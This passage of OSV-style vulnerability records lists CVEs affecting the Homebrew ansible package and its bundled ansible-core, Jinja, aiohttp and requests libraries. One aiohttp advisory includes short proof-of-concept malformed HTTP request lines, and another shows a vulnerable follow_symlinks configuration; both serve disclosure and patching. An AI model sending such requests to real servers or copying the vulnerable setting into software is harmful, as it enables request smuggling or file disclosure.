path.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-5115"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/1e930684bc0a76ec3d094cd326738ad26416541c"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2023:5701"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2023:5758"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2023-5115"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2233810"},{"type":"WEB","url":"https://github.com/ansible-community/ansible-build-data/blob/16d36538b96c65d9e0e28d89781361b69857ac0e/8/CHANGELOG-v8.rst#L221"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-5764","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2023-5764","GHSA-7j69-qfc3-2fq9","PYSEC-2026-1122"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.16.1","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.21.6"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.21.6","key":"pkg:pypi/ansible-core@2.21.6","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible: template injection","details":"A template injection flaw was found in Ansible where a user's controller internal templating operations may remove the unsafe designation from template data. This issue could allow an attacker to use a specially crafted file to introduce templating injection when supplying templating data.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"}],"references":[{"type":"WEB","url":"https://access.redhat.com/downloads/content/package-browser/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/X7Q6CHPVCHMZS5M7V22GOKFSXZAQ24EU/"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2023:7773"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2023-5764"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/5xxx/CVE-2023-5764.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-5764"},{"type":"ADVISORY","url":"https://security.netapp.com/advisory/ntap-20241025-0001/"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2247629"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-0690","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2024-0690","GHSA-h24r-m9qc-pvpg","PYSEC-2024-36"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.16.3","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.21.6"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.21.6","key":"pkg:pypi/ansible-core@2.21.6","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible-core: possible information leak in tasks that ignore ansible_no_log configuration","details":"An information disclosure flaw was found in ansible-core due to a failure to respect the ANSIBLE_NO_LOG configuration in some scenarios. Information is still included in the output in certain tasks, such as loop items. Depending on the task, this issue may include sensitive information, such as decrypted secret values.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://access.redhat.com/downloads/content/package-browser/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IZQGCRDSZL7ONCULMB6ZUHOE4L44KIBP/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VDYSWOCPZMNRU5LWKIEBW4WGWLMTU7WQ/"},{"type":"WEB","url":"https://www.ansible.com/"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2024:0733"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2024:2246"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2024:3043"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2024-0690"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/0xxx/CVE-2024-0690.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-0690"},{"type":"ADVISORY","url":"https://security.netapp.com/advisory/ntap-20250117-0001/"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2259013"},{"type":"FIX","url":"https://github.com/ansible/ansible/pull/82565"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-11079","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2024-11079","GHSA-99w6-3xph-cx78","PYSEC-2026-1123"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.18.1rc1","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.21.6"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.21.6","key":"pkg:pypi/ansible-core@2.21.6","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible-core: unsafe tagging bypass via hostvars object in ansible-core","details":"A flaw was found in Ansible-Core. This vulnerability allows attackers to bypass unsafe content protections using the hostvars object to reference and execute templated content. This issue can lead to arbitrary code execution if remote data or module outputs are improperly templated within playbooks.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:L"}],"references":[{"type":"WEB","url":"https://access.redhat.com/downloads/content/package-browser/"},{"type":"WEB","url":"https://catalog.redhat.com/software/containers/"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/03/msg00006.html"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2024:10770"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2024:11145"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2024-11079"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/11xxx/CVE-2024-11079.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-11079"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2325171"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-22195","published":"2026-08-13T16:35:22Z","modified":"2026-10-09T02:52:46Z","upstream":["GHSA-h5c8-rqwp-cp95","CVE-2024-22195","PYSEC-2026-1473"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.2.2"},{"fixed":"9.0.1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.3","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter","details":"The `xmlattr` filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the `xmlattr` filter, and an application doing so should already be verifying what keys are provided regardless of this fix.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-h5c8-rqwp-cp95"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-22195"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/716795349a41d4983a9a4771f7d883c96ea17be7"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/releases/tag/3.1.3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/01/msg00010.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00009.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5XCWZD464AJJJUBOO7CMPXQ4ROBC6JX2"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DELCVUUYX75I5K4Q5WMJG4MUZJA6VAIP"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/O7YWRBX6JQCWC2XXCTZ55C7DPMGICCN3"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-23334","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-5h86-8mv2-jq9f","CVE-2024-23334","PYSEC-2024-24"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.2","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"aiohttp is vulnerable to directory traversal","details":"### Summary\nImproperly configuring static resource resolution in aiohttp when used as a web server can result in the unauthorized reading of arbitrary files on the system.\n\n### Details\nWhen using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option 'follow_symlinks' can be used to determine whether to follow symbolic links outside the static root directory. When 'follow_symlinks' is set to True, there is no validation to check if a given file path is within the root directory.This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present.\n\ni.e. An application is only vulnerable with setup code like:\n```\napp.router.add_routes([\n    web.static(\"/static\", \"static/\", follow_symlinks=True),  # Remove follow_symlinks to avoid the vulnerability\n])\n```\n\n### Impact\nThis is a directory traversal vulnerability with CWE ID 22. When using aiohttp as a web server and enabling static resource resolution with `follow_symlinks` set to True, it can lead to this vulnerability. This vulnerability has been present since the introduction of the `follow_symlinks` parameter.\n\n### Workaround\nEven if upgrading to a patched version of aiohttp, we recommend following these steps regardless.\n\nIf using `follow_symlinks=True` outside of a restricted local development environment, disable the option immediately. This option is NOT needed to follow symlinks which point to a location _within_ the static root directory, it is _only_ intended to allow a symlink to break out of the static directory. Even with this CVE fixed, there is still a substantial risk of misconfiguration when using this option on a server that accepts requests from remote users.\n\nAdditionally, aiohttp has always recommended using a reverse proxy server (such as nginx) to handle static resources and _not_ to use these static resources in aiohttp for production environments. Doing so also protects against this vulnerability, and is why we expect the number of affected users to be very low.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/pull/8079/files","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5h86-8mv2-jq9f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-23334"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/8079"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/8079/files"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/1c335944d6a8b1298baf179b7c0b3069f10c514b"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2024-24.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ICUOCFGTB25WUT336BZ4UNYLSZOUVKBD"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XXWVZIVAYWEBHNRIILZVB3R3SDQNNAA7"},{"type":"WEB","url":"https://www.exploit-db.com/exploits/52474"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-23829","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-8qpw-xqxj-h4r2","CVE-2024-23829","PYSEC-2024-26"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.2","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"aiohttp's HTTP parser (the python one, not llhttp) still overly lenient about separators","details":"### Summary\nSecurity-sensitive parts of the *Python HTTP parser* retained minor differences in allowable character sets, that must trigger error handling to robustly match frame boundaries of proxies in order to protect against injection of additional requests. Additionally, validation could trigger exceptions that were not handled consistently with processing of other malformed input.\n\n### Details\nThese problems are rooted in pattern matching protocol elements, previously improved by PR #3235 and GHSA-gfw2-4jvh-wgfg:\n\n1. The expression `HTTP/(\\d).(\\d)` lacked another backslash to clarify that the separator should be a literal dot, not just *any* Unicode code point (result: `HTTP/(\\d)\\.(\\d)`).\n\n2. The HTTP version was permitting Unicode digits, where only ASCII digits are standards-compliant.\n\n3. Distinct regular expressions for validating HTTP Method and Header field names were used - though both should (at least) apply the common restrictions of rfc9110 `token`.\n\n### PoC\n`GET / HTTP/1ö1`\n`GET / HTTP/1.𝟙`\n`GET/: HTTP/1.1`\n`Content-Encoding?: chunked`\n\n### Impact\nPrimarily concerns running an aiohttp server without llhttp:\n 1. **behind a proxy**: Being more lenient than internet standards require could, depending on deployment environment, assist in request smuggling.\n 2. **directly accessible** or exposed behind proxies relaying malformed input: the unhandled exception could cause excessive resource consumption on the application server and/or its logging facilities.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/pull/8074/files","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-8qpw-xqxj-h4r2"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-gfw2-4jvh-wgfg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-23829"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/3235"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/8074"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/8074/files"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/33ccdfb0a12690af5bb49bda2319ec0907fa7827"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2024-26.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ICUOCFGTB25WUT336BZ4UNYLSZOUVKBD"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XXWVZIVAYWEBHNRIILZVB3R3SDQNNAA7"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-27306","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-7gpw-8wmc-pm8g","CVE-2024-27306","PYSEC-2026-1102"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"aiohttp Cross-site Scripting vulnerability on index pages for static file handling","details":"### Summary\n\nA XSS vulnerability exists on index pages for static file handling.\n\n### Details\n\nWhen using `web.static(..., show_index=True)`, the resulting index pages do not escape file names.\n\nIf users can upload files with arbitrary filenames to the static directory, the server is vulnerable to XSS attacks.\n\n### Workaround\n\nWe have always recommended using a reverse proxy server (e.g. nginx) for serving static files. Users following the recommendation are unaffected.\n\nOther users can disable `show_index` if unable to upgrade.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/pull/8319/files","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-7gpw-8wmc-pm8g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-27306"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/8319"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/8319/files"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/28335525d1eac015a7e7584137678cbb6ff19397"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2EXRGTN2WG7VZLUZ7WOXU5GQJKCPPHKP"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NWEI6NIHZ3G7DURDZVMRK7ZEFC2BTD3U"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZIVBMPEY7WWOFMC3CWXFBRQPFECV4SW3"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-30251","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-5m98-qgg9-wh84","CVE-2024-30251","PYSEC-2026-1098"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"aiohttp vulnerable to Denial of Service when trying to parse malformed POST requests","details":"### Summary\nAn attacker can send a specially crafted POST (multipart/form-data) request. When the aiohttp server processes it, the server will enter an infinite loop and be unable to process any further requests.\n\n### Impact\nAn attacker can stop the application from serving requests after sending a single request.\n\n-------\n\nFor anyone needing to patch older versions of aiohttp, the minimum diff needed to resolve the issue is (located in `_read_chunk_from_length()`):\n\n```diff\ndiff --git a/aiohttp/multipart.py b/aiohttp/multipart.py\nindex 227be605c..71fc2654a 100644\n--- a/aiohttp/multipart.py\n+++ b/aiohttp/multipart.py\n@@ -338,6 +338,8 @@ class BodyPartReader:\n         assert self._length is not None, \"Content-Length required for chunked read\"\n         chunk_size = min(size, self._length - self._read_bytes)\n         chunk = await self._content.read(chunk_size)\n+        if self._content.at_eof():\n+            self._at_eof = True\n         return chunk\n \n     async def _read_chunk_from_stream(self, size: int) -> bytes:\n```\n\nThis does however introduce some very minor issues with handling form data. So, if possible, it would be recommended to also backport the changes in:\nhttps://github.com/aio-libs/aiohttp/commit/cebe526b9c34dc3a3da9140409db63014bc4cf19\nhttps://github.com/aio-libs/aiohttp/commit/7eecdff163ccf029fbb1ddc9de4169d4aaeb6597\nhttps://github.com/aio-libs/aiohttp/commit/f21c6f2ca512a026ce7f0f6c6311f62d6a638866","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5m98-qgg9-wh84"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-30251"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/7eecdff163ccf029fbb1ddc9de4169d4aaeb6597"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/cebe526b9c34dc3a3da9140409db63014bc4cf19"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/f21c6f2ca512a026ce7f0f6c6311f62d6a638866"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2024/05/02/4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-34064","published":"2026-08-13T16:35:22Z","modified":"2026-10-13T22:10:16Z","upstream":["GHSA-h75v-3vvj-5mfj","CVE-2024-34064","PYSEC-2026-1474"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.2.2"},{"fixed":"9.0.1"},{"introduced":"9.2.0"},{"fixed":"9.5.1_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.4","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter","details":"The `xmlattr` filter in affected versions of Jinja accepts keys containing non-attribute characters. XML/HTML attributes cannot contain spaces, `/`, `>`, or `=`, as each would then be interpreted as starting a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. The fix for the previous GHSA-h5c8-rqwp-cp95 CVE-2024-22195 only addressed spaces but not other characters.\n\nAccepting keys as user input is now explicitly considered an unintended use case of the `xmlattr` filter, and code that does so without otherwise validating the input should be flagged as insecure, regardless of Jinja version. Accepting _values_ as user input continues to be safe.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-h75v-3vvj-5mfj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-34064"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/0668239dc6b44ef38e7a6c9f91f312fd4ca581cb"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00009.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/567XIGSZMABG6TSMYWD7MIYNJSUQQRUC"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GCLF44KY43BSVMTE6S53B4V5WP3FRRSE"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SSCBHIL6BYKR5NRCBXP4XMP2CEEKGFVS"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZALNWE3TXPPHVPSI3AZ5CTMSTAVN5UMS"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-35195","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T23:12:56Z","upstream":["GHSA-9wx4-h78v-vm56","CVE-2024-35195","PYSEC-2026-1873"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.2"},{"fixed":"9.6.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.32.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Requests `Session` object does not verify requests after making first request with verify=False","details":"When using a `requests.Session`, if the first request to a given origin is made with `verify=False`, TLS certificate verification may remain disabled for all subsequent requests to that origin, even if `verify=True` is explicitly specified later.\n\nThis occurs because the underlying connection is reused from the session's connection pool, causing the initial TLS verification setting to persist for the lifetime of the pooled connection. As a result, applications may unintentionally send requests without certificate verification, leading to potential man-in-the-middle attacks and compromised confidentiality or integrity.\n\nThis behavior affects versions of `requests` prior to 